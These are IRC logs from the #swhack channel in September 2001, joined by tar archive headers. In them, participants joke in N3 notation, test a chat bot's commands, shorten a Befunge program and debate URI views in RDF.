rdf:value a :Joke . 21:20:01 <sbp> there 21:20:31 <AaronSw> heh! 21:20:50 <sbp> * sbp wonders how [ a :Joke ] is any different from _:a a :Joke . ? 21:21:13 <AaronSw> It's not, but it allows you to say what you couldn't say above. 21:21:26 <sbp> yeah, I needed to put the node outside the context... 21:21:51 <sbp> { _:a a :Joke } a log:Falsehood . _:a a :Joke . 21:21:59 <AaronSw> Huh? 21:22:03 <sbp> oops 21:22:13 <sbp> { _:a a :Joke } a log:Falsehood . _:a rdf:value [ a :Joke ] . 21:22:59 <AaronSw> there'ya go. 21:23:19 <AaronSw> We really need [] syntax in mathematical proofs. 21:23:19 <sbp> { { { _:a a :Joke } a log:Falsehood . _:a a :Joke . } a log:Truth } a log:Contradiction, :Puzzlement . 21:23:35 <sbp> just add it; no one will notice 21:23:53 <sbp> all of the top people will just pretend to know what it means (or miztake it for a matrix, more likely) 21:24:00 <sbp> s/miztake/mistake 21:24:22 <AaronSw> Heh... I keep thinking: what happens if two mathematicians define names that clash? 21:24:29 <AaronSw> They should give these things URIs. ;-) 21:24:39 <sbp> no, it's simple: they have to duel 21:24:55 <sbp> or rock scissors paper 21:25:00 <AaronSw> Ahh. 21:25:12 <sbp> they should have done DNS on that 21:25:35 <sbp> we could have had DNS tournaments, and the winner gets to choose their domain first, then the next person... 21:25:35 <AaronSw> Yeah, much better than WIPO. 21:25:41 <sbp> yeah 21:26:04 <sbp> * sbp is glad this stuff is being logged 21:26:06 <AaronSw> I have a friend who is an amazing Rock Paper Scissors player. He can beat almost anyone. 21:26:17 <sbp> who can't he beat? 21:26:27 <AaronSw> I forget. 21:27:12 <sbp> [ :beat [ a :AmazingRockPaperScissorsPlayer; :friendOf [ :name "Aaron Swartz" ] ] ] . 21:27:24 <AaronSw> yep 21:27:30 <sbp> good ol' N3 21:29:28 <tav> hmz, how can you be an amazing player? 21:30:00 <AaronSw> It's all in the psychology of the game. 21:30:04 <AaronSw> He mentally forces people into making the moves he wants. 21:30:16 <AaronSw> It's really fascinating to watch. 21:30:27 <sbp> "play rock, or I'll beat the shit out of you"? 21:30:42 <sbp> sed? 21:32:58 <AaronSw> Heh, no. 21:33:01 <AaronSw> It's nonverbal. 21:33:04 <AaronSw> Cool! 21:33:06 <AaronSw> <tav> @tvnext bbc2 21:33:06 <AaronSw> <maya> Coming up next on BBC 2: 21:33:06 <AaronSw> <maya> [21:50] Body Briefs 21:33:06 <AaronSw> <maya> [22:00] Not the Nine O'Clock News 21:33:06 <AaronSw> <maya> [22:30] Newsnight 21:33:07 <lilo> [GlobalNotice] We hope services will be back up in about 10 minutes. Apologies for the inconvenience. 21:33:07 <AaronSw> <maya> [23:00] Newsnight Review 21:33:09 <AaronSw> <maya> [23:35] Tennis - Davis Cup 2001 21:33:15 <tav> hmz? 21:33:17 <AaronSw> You guys have great TV shows there... 21:33:20 <tav> heh 21:34:00 <sbp> Ah crap, I missed Not the Nine O'Clock News 21:34:14 <AaronSw> That's really what it's called? 21:34:24 <sbp> Yeah, it's a good show 21:34:42 <sbp> With Rowan Atkinson, Gryf Rhys-Jones, and so on. A seminal comedy show 21:35:08 <AaronSw> I think they had one in Canada like that. They made fun of Quebecians. 21:41:30 <lilo> [GlobalNotice] Services will be back up in a moment, accompanied by the usual splits. Thanks. 21:43:11 <sbp> does sed have troff commands? 21:43:32 <deltab> uh, what? 21:43:38 <tav`> tav` has quit 21:43:38 <tav> tav has quit 21:43:38 <deltab> deltab has quit 21:44:04 <deltab> deltab has joined #swhack 21:44:04 <tav`> tav` has joined #swhack 21:44:04 <tav> tav has joined #swhack 21:44:06 <sbp> * sbp takes that as a no 21:44:26 <deltab> I don't even understand what you're asking 21:45:03 <tav> deltab? 21:45:18 <deltab> sed edits a stream; troff formats pages 21:45:29 <sbp> is there a combined version? 21:45:37 <deltab> to do what? 21:45:43 <tav> ehm, did i miss something? 21:46:27 <tav> <AaronSw> I think they had one in Canada like that. They made fun of Quebecians. 21:46:28 <tav> * sbp takes that as a no 21:46:28 <tav> <deltab> I don't even understand what you're asking 21:47:02 <AaronSw> yes, apparently so: 21:47:04 <deltab> tav: sbp's question about sed and troff 21:47:07 <AaronSw> <sbp> does sed have troff commands? 21:47:07 <AaronSw> <deltab> uh, what? 21:47:28 <tav> hmz 21:47:55 <tav> that makes no sense, deltab is on the same server as i am 21:48:02 <tav> so it can't be a damn server split 21:48:09 <deltab> sbp: um, are you asking if you can use sed to convert something into troff input? 21:48:09 <sbp> blimey, I just want to know if there is a version of sed somewhere on the Internet that I can download, and that can format a troff document 21:49:03 <sbp> I'm asking if there is a variant of sed that will convert troffed input into something more sensible. Why should I have to use sed and troff? just have sedtroff or something :-) 21:49:14 <deltab> uhuh 21:49:25 <sbp> so, is there? 21:49:36 <deltab> if there is, it's called emacs 21:49:39 <sbp> * sbp should know better than to ask these sorts of questions 21:49:43 <sbp> Pffffff, emacs 21:49:48 <deltab> :-) 21:50:19 <sbp> I want to be able to run it by command line, and I don't want to have to spend 7 years downloading something that's not all that much better than ViM 21:50:48 <deltab> um, do you know what troff is? 21:51:34 <sbp> it's a typesetting format, no? 21:51:52 <deltab> it's a program that formats and typesets 21:52:11 <deltab> which has its own input format 21:52:31 <sbp> O.K., so if you have a file with troff commands in it... then you run it through troff, and it formats it for you. Yes? 21:52:37 <AaronSw> yes. 21:52:41 <deltab> yes... 21:53:03 <sbp> right, so is there a sodding version of sed that does those troff commands too. It's not a difficult concept or anything 21:53:30 <AaronSw> err, it doesn't really make sense 21:53:43 <sbp> * sbp gives in 21:53:47 <AaronSw> why not just use troff? 21:54:12 <deltab> sbp: you could reimplement some of troff in a mammoth sed script 21:55:05 <sbp> yeah (man, that would be a job...), but why not have it built into a hybrid version of sed? Well, I think it's a good idea... 21:56:36 <deltab> sbp: the idea reminds me of the I-Ching calculator in a Dirk Gently book 21:57:41 <sbp> pardon? 21:57:55 <sbp> I'll bet that's in "Long Dark Teatime..." 21:58:24 <deltab> yeah, I suspect so 21:58:33 <sbp> muchly? is that a word? 21:58:52 <sbp> "Thanks muchly for the help." 21:59:51 <deltab> sounds okay to me 21:59:58 <deltab> yep, chapter 10 22:01:18 <sbp> Aw... I don't have that one (yet) :-) 22:02:06 <sbp> * sbp should have sprinkled smileys liberally in his sed/troff rant 22:02:45 <deltab> http://www.thateden.co.uk/dirk/ 22:04:27 <sbp> He he he 22:04:28 <sbp> [[[ 22:04:29 <sbp> '"1 + 1" it could manage ("2"), and "1 + 2" ("3") and "2 + 2" ("4") or "tan 74" ("3.4874145"), but anything above "4" it represented merely as "A Suffusion of Yellow". Dirk was not certain if this was a programming error or an insight beyond his ability to fathom, but he was crazy about it anyway, enough to hand over £20 of ready cash for the thing.' 22:04:29 <sbp> ]]] 22:06:35 <sbp> cool JavaScript implementation of the calculator too! 22:06:52 <AaronSw> I don't get no Yelllow. I just get blank screens. 22:07:13 <sbp> Hmm... 22:07:55 <AaronSw> Hmm, the image is there: http://www.thateden.co.uk/dirk/images/yellow.gif 22:08:13 <sbp> It works fine for me 22:08:30 <AaronSw> i don't see it 22:08:49 <sbp> try 10/2 22:09:03 <AaronSw> no luck 22:09:11 <sbp> try 2+1 22:09:27 <AaronSw> 3 22:09:31 <sbp> Hmm... 22:09:43 <sbp> Does yellow.gif work? 22:10:17 <sbp> Maybe it figures that Mac users are already enlightened 22:10:18 <deltab> heh, a Discworld reference too 22:10:27 <AaronSw> yellow.gif works 22:14:09 <sbp> * sbp goes to download Cygwin, but wonders how long that's gonna take... 22:16:38 <sbp> depends how many packages I install, I guess 22:18:07 <sbp> echo 22:18:10 <sbp> .echo 22:18:12 <sbp> ..echo 22:18:17 <sbp> ...echo 22:18:24 <sbp> ....echo 22:18:39 <sbp> .....echo 22:19:03 <sbp> bash? Did I select that? 22:19:06 <sbp> What is it? 22:19:30 <sbp> UNIX people? anybody? hello? 22:20:00 <deltab> bash is the Bourne Again Shell 22:20:09 <AaronSw> bash is the cool shell. ;-) 22:20:19 <sbp> does it do anything good? 22:20:33 <deltab> allows you to enter commands 22:20:36 <deltab> :-) 22:20:46 <sbp> ah... I guess I do need it then :-) 22:20:50 <deltab> runs shell scripts 22:22:25 <sbp> well at this rate, it won't take forever, but something close 22:25:00 <sbp> it'd be great if it told you which packages were required for it to at least run 22:30:59 <sbp> sbp has quit 22:49:04 <sbp> sbp has joined #swhack 22:49:46 <sbp> cool TimBL trick:- 22:49:47 <sbp> { <check.n3> log:resolvesTo :F } log:implies { :F a log:Truth }. # import rules 22:49:55 <AaronSw> cool 22:50:47 <sbp> from http://www.w3.org/2000/10/swap/test/includes/check-all.n3 22:50:52 <sbp> (through CVS) 22:51:20 <sbp> http://dev.w3.org/cvsweb/2000/10/swap/test/includes/check-all.n3?rev=1.1&content-type=text/x-cvsweb-markup 22:51:21 <tav> hmz 22:51:30 <xena> xena has joined #swhack 22:51:40 <sbp> Hey, xena 22:51:44 <AaronSw> yay! xena's back 22:51:51 <xena> hey sbp 22:51:54 <sbp> does it do T.V. schedules now? 22:51:57 <sbp> he he he 22:52:07 <xena> nah, don't do tv yet 22:52:12 <sbp> Aw 22:52:38 <sbp> what was the thing that tav used for that then, xena? 22:52:47 <tav> no, maya 22:52:52 <tav> heh 22:53:03 <xena> That was an eggdrop bot. 22:53:30 <tav> in the beginning we had an eggdrop, one of our guys runs eggdrop.net 22:53:40 <AaronSw> .pig latin hi there 22:53:40 <xena> i-hay ere-thay 22:53:44 <tav> then, deltab introduced fimo, an infobot 22:53:58 <tav> fimo soon became xena, a slightly modified infobot 22:54:15 <AaronSw> and where did hiroko come in? 22:54:21 <tav> then we decided to create a superbot 22:54:31 <tav> hiroko was a zope based bot 22:54:39 <AaronSw> And new xena? 22:54:42 <tav> she was too volatile though 22:54:49 <AaronSw> volatile? 22:55:29 <tav> she didn't play well with zope 22:55:44 <AaronSw> hmmph 22:56:08 <tav> so, we created xena (Creature) 22:56:20 <tav> a mixture of the infobot / eggdrop / zopebot 22:56:28 <tav> the superbot 22:57:02 <AaronSw> Cool. 22:57:22 <sbp> xena, super-bot-deeley-of-the-IRC-lands 22:57:38 <xena> :-) 22:57:49 <Morbus> Morbus has joined #swhack 22:58:13 <sbp> Hi Morbus 22:58:24 <AaronSw> Hi morbus 22:58:33 <Morbus> hey guys 22:59:21 <tav> .when did AaronSw last login to the xnet? 22:59:23 <xena> aaronsw last logged in on 2001/09/13 17:03:35.3509 Universal 22:59:32 <tav> .time 22:59:33 <xena> 2001/09/21 23:01:04.52094 Universal 22:59:48 <AaronSw> Hmm, i've been logged in for a while. 22:59:51 <sbp> does it do unix time? 22:59:55 <tav> .unixtime 22:59:55 <xena> 1001113309.35 23:00:01 <AaronSw> .bilennium 23:00:06 <AaronSw> .billennium 23:00:06 <sbp> neat 23:00:06 <xena> [ 1001113320.33 ] : HAPPY BILLENNIUM! 23:00:11 <sbp> :-) 23:03:17 <sbp> sbp has quit 23:03:24 <AaronSw> .when did aaronsw last log in to the xnet? 23:03:25 <xena> aaronsw last logged in on 2001/09/21 23:04:43.2381 Universal 23:03:29 <AaronSw> .time 23:03:29 <xena> 2001/09/21 23:05:00.890719 Universal 23:03:42 <tav> btw 23:03:45 <tav> .when did AaronSw 23:03:46 <xena> aaronsw last logged in on 2001/09/21 23:04:43.2381 Universal 23:03:47 <tav> works too ;p 23:03:47 <AaronSw> .when did tav last have sex? 23:03:48 <xena> tav last logged in on 2001/09/18 20:52:48.7271 Universal 23:03:51 <SeanP> SeanP has joined #swhack 23:03:57 <tav> heh 23:04:42 <SeanP> SeanP is now known as sbp 23:05:14 <Morbus> aaron, you on os x right now? 23:05:18 <Morbus> this is so weird. 23:05:20 <AaronSw> yes 23:05:29 <Morbus> when i have websharing ON, i can get to the yahoo.com page, right 23:05:38 <AaronSw> ok 23:05:38 <Morbus> but when i try to go to mail.yahoo.com, i get my localhost directory 23:05:46 <Morbus> that's in icab. in IE, i crash immediately 23:05:53 <AaronSw> weird 23:06:05 <Morbus> yeah! 23:06:23 <Morbus> Morbus has quit 23:06:25 <sbp> heh: 2001/09/18 20:52:48.7271 23:06:36 <AaronSw> why heh? 23:06:57 <sbp> that's when tav last "logged on" 23:09:47 <AaronSw> :-) 23:10:00 <AaronSw> Apparently espHarem isn't fully operational yet. 23:10:09 <sbp> :-) 23:23:48 <AaronSw> AaronSw has quit 23:23:57 <AaronSw> AaronSw has joined #swhack 23:25:35 <tav> .seen sbp 23:25:35 <xena> sbp seen in #rdfig saying: [ hi ] ~ 2 min(s) 36 sec(s) ago 23:27:39 <sbp> ah, smart 23:27:46 <sbp> .seen freakster 23:27:46 <xena> sbp: no match found: freakster 23:28:06 <sbp> .seen gooble 23:28:07 <xena> sbp: no match found: gooble 23:28:18 <sbp> .seen beeble 23:28:18 <xena> sbp: no match found: beeble 23:28:25 <AaronSw> .seen egreg 23:28:25 <xena> AaronSw: no match found: egreg 23:28:34 <AaronSw> .seen tav 23:28:34 <xena> tav seen in #swhack saying: [ .seen sbp ] ~ 2 min(s) 58 sec(s) ago 23:28:36 <sbp> Aw... 23:28:39 <sbp> lol 23:28:41 <sbp> .seen xena 23:28:42 <xena> xena seen joining #infoanarchy ~ 36 min(s) 59 sec(s) ago 23:29:50 <AaronSw> Ok, looks like it's time for me to go. Have a nice weekend everyone. 23:31:56 <tav> laters 23:32:24 <tav> enjoy the holiday 23:32:30 <sbp> c'ya! 23:47:03 <sbp> sbp has quit 23:47:41 <lilo> [GlobalNotice] Apologies for the intrusion. If you have a bit of accounting and bookkeeping experience and would be willing to contribute a few hours per month to a community non-profit, please /msg me. Thanks. ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-22.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000002025�07353215065�012010� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:13:57 <logster> logster has joined #swhack 00:13:57 <asimov.openprojects.net> Users on #swhack: logster AaronSw deltab tav` tav 00:54:15 <Morbus> Morbus has joined #swhack 01:49:48 <Morbus> Morbus has quit 01:51:52 <tav> tav has quit 02:15:38 <tav> tav has joined #swhack 04:01:41 <sbp> sbp has joined #swhack 04:23:27 <sbp> sbp has quit 04:42:12 <sbp> sbp has joined #swhack 04:48:13 <sbp> sbp has quit 11:23:22 <irc.openprojects.net> Disconnected from irc.openprojects.net (Connection reset by peer) 11:23:44 <logster> logster has joined #swhack 11:23:44 <niven.openprojects.net> Users on #swhack: logster tav AaronSw deltab tav` 16:44:32 <sbp> sbp has joined #swhack 16:44:46 <sbp> sbp has quit 18:16:10 <Morbus> Morbus has joined #swhack 18:20:22 <Morbus> Morbus has quit 19:01:24 <sbp> sbp has joined #swhack 19:02:56 <sbp> sbp has quit 19:16:27 <sbp> sbp has joined #swhack 19:27:12 <sbp> sbp has quit 19:51:13 <sbp> sbp has joined #swhack 19:54:41 <sbp> sbp has quit 23:08:32 <sbp> sbp has joined #swhack 23:09:41 <sbp> sbp has quit �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-23.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000063734�07353472044�012031� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:41:55 <logster> logster has joined #swhack 00:41:55 <carter.openprojects.net> topic is: rdf:value a :Joke . 00:41:55 <carter.openprojects.net> Users on #swhack: logster tav AaronSw deltab tav` 00:42:05 <AaronSw> hmmph, where's xena 00:47:31 <GlobalMessage> [GlobalNotice] Hello everyone. We're going to be freezing the services database at around 4AM UTC (In about three hours and 15 minutes). Services will go down for a few minutes and will come back online soon after. All changes to NickServ and ChanServ registrations from then on will be lost. Drop by in #openprojects if you have any questions. 01:04:14 <sbp> sbp has joined #swhack 01:05:55 <AaronSw> hi there 01:06:00 <sbp> Hi Aaron 01:06:06 <sbp> Did you have a nice Saturday? 01:06:14 <AaronSw> Yes, how about you? 01:06:18 <sbp> I just sent a rant about XHTML 2.0: http://lists.w3.org/Archives/Public/wai-tech-comments/2001Sep/0024 01:06:25 <sbp> it was alright 01:07:28 <sbp> Keyboards should have smiley buttons! :-) 01:07:35 <AaronSw> :-) 01:08:13 <sbp> * sbp listens to "I'm Gonna Crawl" at very low volume, being 2:09AM 01:08:29 <AaronSw> I'm trying to think of the word for gift economy... I thoug it was agorics, but that doesn't seem right. It's used more to describe creating a market-based system for computing resources. 01:09:10 <sbp> how about just doing a Germanism, and having "gifteconomy" 01:09:22 <AaronSw> :-) 01:09:39 <sbp> or invent a word. That would be cool too 01:09:54 <AaronSw> I distinctly remember it being ago-something... perhaps my memory is corrupted again. :-( 01:10:15 <AaronSw> * AaronSw apologizes in advance for having led tav astray... 01:10:47 <sbp> agouti? 01:10:56 <sbp> a small rabbit like creature from South America 01:11:00 <sbp> :-) 01:11:12 <AaronSw> no... don't think that was it ;-) 01:11:24 <sbp> There aren't many words that start with "ago" 01:11:36 <sbp> ago-go 01:11:37 <AaronSw> it's in my meail somewhere, but I haven't coppied over the archives far enough to get at it. :-( 01:11:46 <sbp> blargh 01:11:55 <AaronSw> it had a domain name... so netcraft should find it 01:11:55 <sbp> tried the Web? 01:12:07 <AaronSw> yeah... 01:15:21 <AaronSw> hmm 01:16:11 <sbp> Pfffff... how can "deeley" not be in the dictionary? http://www.dictionary.com/cgi-bin/dict.pl?term=deeley 01:16:57 <AaronSw> heh 01:17:32 <sbp> it's outrageous 01:18:12 <AaronSw> Ooh, a new Sean-coinage: 01:18:13 <AaronSw> "that are erndered visually is their aspect ratios" 01:18:36 <sbp> Hmm... only one page on Google has both the words "deeley" and "doohickey" on it 01:18:46 <sbp> yeah, I messed that up a bit 01:18:56 <sbp> I meant "rendered" or something 01:19:00 <AaronSw> google: Yours? 01:19:11 <sbp> how *did* you guess? :-) 01:19:17 <sbp> http://www.google.com/search?q=deeley+doohickey&hl=en 01:19:23 <AaronSw> Well, now we have two ;-) 01:19:34 <sbp> two what? 01:19:41 <AaronSw> two pages with both those words 01:19:50 <sbp> but not two pages on Google! 01:19:59 <AaronSw> give it some time! 01:20:05 <sbp> O.K.! 01:20:14 <sbp> He he he 01:20:31 <AaronSw> Google probably updates the archives of this channel pretty regularly... 01:20:51 <sbp> Are they in there at all? 01:22:20 <AaronSw> Hmm, you're right! They aren't. 01:22:23 <AaronSw> We must remedy this... 01:22:24 <sbp> thought not 01:22:55 <AaronSw> I'll point to it from my website, that'll give them authority. 01:23:51 <sbp> Why don't you just enter it in their Add URL form deeley? 01:23:58 <AaronSw> I'll do that too. 01:25:38 <sbp> where's googler gone? 01:25:54 <AaronSw> I figured xena replaced it. 01:25:58 <AaronSw> But now xena's gone... :-( 01:26:06 <AaronSw> ... again 01:27:16 <sbp> Gmgpmgpmgpmh 01:28:20 <sbp> acronyms: http://www.google.com/search?hl=en&q=RDF+N3+URI+XML+XHTML+SW+DAML+CSS+CWM 01:29:27 <sbp> wow: http://www.google.com/search?q=%22Semantic+Web%22&hl=en&start=10&sa=N 01:29:44 <sbp> swintro has gradually risen to the top of the second page for "Semantic Web" 01:30:28 <AaronSw> wow 01:30:45 <sbp> It'll be above the SW homepage soon! Maybe not 01:31:59 <sbp> Ooh, I redesigned SBP SWAD! I have to upload it... 01:32:08 <AaronSw> swintro: Perhaps it's just the after effects of dave pointing to it? 01:33:05 <sbp> I don't think Google 01:33:10 <sbp> 's picked up on that yet 01:33:21 <sbp> It says that no page even links to swintro yet 01:33:23 <sbp> ta da: http://infomesh.net/2001/05/sw/ 01:33:33 <AaronSw> the links to thing is weird 01:34:30 <AaronSw> What's that weird thing on the new SBP SWAD? 01:34:51 <sbp> what weird thing? 01:34:59 <AaronSw> the thing on the top 01:35:19 <sbp> Um... it's a torn page: a scrap of paper 01:35:32 <sbp> is it really that non-obvious? Eek 01:35:52 <AaronSw> It looks like evil setting in over the page.. 01:36:27 <sbp> Erm... is your screen on a weird setting or something? 01:38:18 <AaronSw> No... I see what you mean -- it just looks weird. 01:38:39 <sbp> Gmbrggmbmgm; I've got rid of it, Mr. Aaron "rip the fun out of anything" Swartz :-) 01:38:53 <sbp> Ugh, and now the stylesheet doesn't work 01:39:03 <sbp> * sbp mumbles som'ore 01:39:26 <AaronSw> heh 01:39:36 <sbp> There, that's better 01:41:09 <sbp> * sbp does more barely audiable mumbling 01:42:19 <sbp> Note that I put the befunge93 SW program on there 01:42:29 <sbp> [[[ 01:42:29 <sbp> Semantic Web: Befunge93 Programs 01:42:30 <sbp> I wrote what may be the shortest and most obfuscated Semantic Web program to date:- 01:42:30 <sbp> 0v_^#-3:+1,,"> "< - 01:42:30 <sbp> >"<" >,~:25#$*^ 01:42:30 <sbp> >".",@^ _^#< 01:42:31 <sbp> It takes in three URIs from user input, and outputs an NTriple. 01:42:33 <sbp> ]]] 01:42:59 <AaronSw> heh 01:45:00 <sbp> * sbp thinks of a way in which he might make it shorter 01:45:07 <AaronSw> hmm, the CSS hasn't updated... 01:46:42 <sbp> Nah, I was wrong 01:46:46 <sbp> hit refresh 01:46:51 <sbp> 46... hmm 01:47:06 <sbp> LCF's are 2 and 23. Crap 01:47:18 <sbp> 59*1+ 01:47:41 <sbp> heh, two characters longer 01:47:48 <AaronSw> I still see: 01:47:48 <AaronSw> background: url(back.gif); background-repeat: no-repeat; 01:48:01 <sbp> yeah, but I removed back.gif 01:48:13 <AaronSw> well, pfff that's no good 01:48:33 <AaronSw> Come on sbp, 404s! 01:48:36 <sbp> * sbp comments that bit out too 01:48:53 <sbp> and I've restored back.gif 01:48:55 <AaronSw> That's better 01:50:40 <sbp> crap, I thought I had another way to make it smaller then... 01:51:30 <sbp> ooh! I may have it 01:52:37 <sbp> er no... that didn't make it any shorter whatsoever. Duh 01:54:20 <sbp> Befunge is so cool... 01:57:01 <sbp> ah... I could turn it upside down 02:00:27 <sbp> that didn't help much 02:00:32 <sbp> 0v >".",@v _v#< 02:00:32 <sbp> >"<" >,~:25#$*v 02:00:32 <sbp> ^_v#-3:+1,,"> "< - 02:02:10 <sbp> aha! 02:02:47 <sbp> v_^#-3:+1,,"> "< - 02:02:47 <sbp> >"<" >,~:25#$*^ 02:02:47 <sbp> >".",@^ _^#< 02:03:13 <sbp> you don't need to put 0 in the stack, because it's there implicitly anyway. A quirk of Befunge 02:04:06 <AaronSw> weird 02:05:09 <sbp> not it's just 18x3 02:06:20 <sbp> Ooh! I can duplicate the comma 02:06:37 <sbp> No I can't... 02:11:31 <sbp> the ^, $, and < need to align, so I don't think it can get any shorter 02:11:34 <sbp> Gotta run 02:11:41 <AaronSw> bye 02:14:35 <sbp> sbp has quit 02:25:19 <sbp> sbp has joined #swhack 02:25:37 <sbp> I made it 15x3! 02:25:39 <sbp> Hooray! 02:25:41 <sbp> >"<" ,>~:25#$*v 02:25:43 <sbp> |-3:+1,,"> "< - 02:25:45 <sbp> >".",@v, _v#< 02:25:59 <deltab> neat 02:26:06 <sbp> thank you :-) 02:26:16 <deltab> in multiple senses of the word :-) 02:26:26 <sbp> :-) 02:26:34 <sbp> I figured that I could use a vertical if, as long as I turned the program upside down 02:26:51 <deltab> hehe 02:27:05 <sbp> then I realised that it's a torus, and that instead of directing the pointer down and then along, I could just put that line at the top 02:27:21 <sbp> and then I realised that if I duplicated a comma, I'd save another space 02:27:29 <sbp> so that's three spaces I saved 02:30:57 <sbp> it's a shame that there isn't a character that lets you pop two values as alpha 02:31:06 <sbp> then I could compact the double comma 02:37:13 <AaronSw> Hmm, it seems Mark Bernstein agrees with me about Bush's "war"...: 02:37:22 <AaronSw> """I don't agree with most people. But I'm part of a small minority, a fringe, like the folks who thought Nixon wasn't a crook. 02:37:23 <AaronSw> People are talking about wild things. Completely reconstructing the Middle East. Occupation. Nuclear weapons. """ 02:42:53 <sbp> * sbp wonders if anyone has actually tried to draw a befunge93 program on a donut 02:44:49 <sbp> Hmm... 02:46:15 <sbp> >"<" ,>~:25#$*v 02:46:15 <sbp> |-3:+1,,"> "< - 02:46:15 <sbp> >".",@^ _v#< 02:46:17 <sbp> works too 02:46:30 <sbp> one less comma, but it's no smaller 02:47:07 <AaronSw> this is like an obsession... 02:47:40 <AaronSw> OK, I'm going to play Escape from Monkey Island -- c'yas later 02:47:44 <sbp> try it: you'll find out just how frustrating it is to have spaces in a b93 program! 02:47:46 <sbp> c'ya 02:49:57 <sbp> Gotta run 02:52:57 <sbp> sbp has quit 03:47:53 <AaronSw> fwump 03:54:10 <sbp> sbp has joined #swhack 03:54:25 <AaronSw> hullo 03:58:31 <sbp> HI 03:58:35 <sbp> Hi even 03:58:37 <sbp> Gotta run 03:59:03 <AaronSw> That was quick. 04:01:37 <sbp> sbp has quit 04:49:11 <lilo> [GlobalNotice] Hi all. Services will be returning in a moment, accompanied by a fair number of splits. Please bear with us. Thanks for your patience. 04:49:47 <AaronSw> AaronSw has quit 04:49:47 <tav`> tav` has quit 04:49:47 <deltab> deltab has quit 04:49:47 <tav> tav has quit 04:50:07 <deltab> deltab has joined #swhack 04:50:07 <tav`> tav` has joined #swhack 04:50:07 <AaronSw> AaronSw has joined #swhack 04:50:07 <tav> tav has joined #swhack 04:59:08 <AaronSw> AaronSw has changed the topic to: Everything we do is art. 13:17:56 <AaronSw> AaronSw has changed the topic to: I have an urge not merely to be an architect but a builder too. | Everything we do is art. 13:18:19 <AaronSw> AaronSw has changed the topic to: At no time is freedom of speech more precious than when a man hits his thumb with a hammer. - Todat's fortune message | I have an urge not merely to be an architect but a builder too. - tav | Everything we do is art. - some native tribe 15:15:23 <Morbus> Morbus has joined #swhack 15:15:33 <Morbus> Morbus has quit 15:16:00 <AaronSw> * AaronSw hopes to go to New York soon. 15:16:05 <AaronSw> cf. http://www.nytimes.com/2001/09/21/opinion/21FRI2.html 15:16:22 <Morbus> Morbus has joined #swhack 15:17:44 <AaronSw> hi 15:17:51 <Morbus> hey there. won't be staying long. 15:21:08 <Morbus> have you gotten your three o'reilly books? only ... a week left, i think. 15:23:04 <tav> till ? 15:23:20 <Morbus> end of september. 15:23:22 <AaronSw> Huh? 15:23:27 <Morbus> buy 2, get 1 free 15:23:57 <AaronSw> oh... i can't think of any o'reilly books i really want 15:25:19 <Morbus> alright, well, i have to go now. ciao all... 15:25:32 <Morbus> Morbus has quit 15:25:58 <tav> heh 15:55:19 <sbp> sbp has joined #swhack 15:57:05 <sbp> Ping 15:57:07 <AaronSw> pong 15:57:52 <AaronSw> wassup? 15:58:49 <sbp> I just wanted to know if you'd gone stark bollock raving mad or not 15:59:38 <sbp> [[[ 15:59:38 <sbp> I believe that these "URI-views", or 15:59:38 <sbp> whatever we wish to call them, should be removed from the RDF 15:59:38 <sbp> spec. 15:59:40 <sbp> ]]] 15:59:56 <sbp> tav, what the fuck are ya doin'? 16:00:12 <sbp> tav? 16:00:21 <sbp> He he he 16:00:27 <AaronSw> * AaronSw has not gone stark raving mad. 16:00:47 <sbp> [[[ 16:00:48 <sbp> [tav PONG!] 16:00:48 <sbp> - 16:00:48 <sbp> [tav MWAHAHAAHAHAHAHA!] 16:00:48 <sbp> - 16:00:48 <sbp> [tav FEAR_ME_HUMAN!] 16:00:50 <sbp> ]]] 16:00:57 <AaronSw> Where'd you get that? 16:01:07 <sbp> From my status window 16:01:09 <sbp> :-) 16:01:19 <tav> d'oh! 16:01:21 <AaronSw> status window? 16:01:35 <sbp> Yeah, my status window 16:01:50 <deltab> sbp: SG-1 fan? 16:01:54 <AaronSw> <Notice> Unknown CTCP request CTCP_FLOOD from tav: 16:02:00 <sbp> I wondered what on earth was going on for a second... 16:02:07 <sbp> SG-1: nope 16:02:23 <tav> anyways 16:02:26 <sbp> "SG-1" != "The Simpsons" 16:02:32 <deltab> ah 16:02:36 <sbp> :-) 16:02:46 <deltab> that go for futurama too? 16:02:57 <sbp> Futurama just slips by 16:03:02 <sbp> Matt Groening 16:03:07 <sbp> anyway, back to Aaron's lunacy... 16:03:12 <AaronSw> SG? 16:03:22 <tav> type: !help in the channel 16:03:54 <AaronSw> ahh 16:04:03 <sbp> [[[ 16:04:04 <sbp> > This seems to imply that URI references (that is, URIs with fragment 16:04:05 <sbp> > identifiers) are not bound to a resource themselves. 16:04:05 <sbp> Careful... it does not imply that URI references are 16:04:05 <sbp> bound to resources; but nor does it imply that they are *not* 16:04:05 <sbp> bound to resources. RFC2396 is silent on what 16:04:06 <sbp> a URI reference is bound to. 16:04:09 <sbp> ]]] - http://lists.w3.org/Archives/Public/uri/2001May/0018 16:04:17 <deltab> AaronSw: Stargate SG-1 16:04:28 <AaronSw> ahh 16:04:53 <AaronSw> [[[ 16:04:55 <AaronSw> That definition is wrong. So are the definitions used by RDF. That's 16:04:55 <AaronSw> why they keep having semantic problems with the Web. 16:05:02 <AaronSw> ]]] - http://lists.w3.org/Archives/Public/uri/2001May/0019 16:05:57 <AaronSw> When Roy Fielding says "Just shoot me." then something is wrong. 16:06:39 <sbp> But the logic of the argument simply doesn't make sense 16:06:50 <AaronSw> Hey, I thought you agreed with me on this. 16:07:06 <sbp> no way! not if it means deprecating URI views 16:07:31 <AaronSw> Why do you like URI-views? 16:07:31 <sbp> if #a and #b are different views of some URI identified resource, then they must identify distinct "things". we just call those things RDF resources 16:07:41 <sbp> because they're being used, and they work 16:07:52 <AaronSw> But they don't work with everyone else. 16:08:02 <sbp> I'm not the worlds biggest fan... but they still work 16:08:11 <sbp> with everyone else? who else is there? 16:08:25 <AaronSw> HTTP, URI spec, etc. 16:08:28 <sbp> they work with RDF, that's all they need to work with 16:08:33 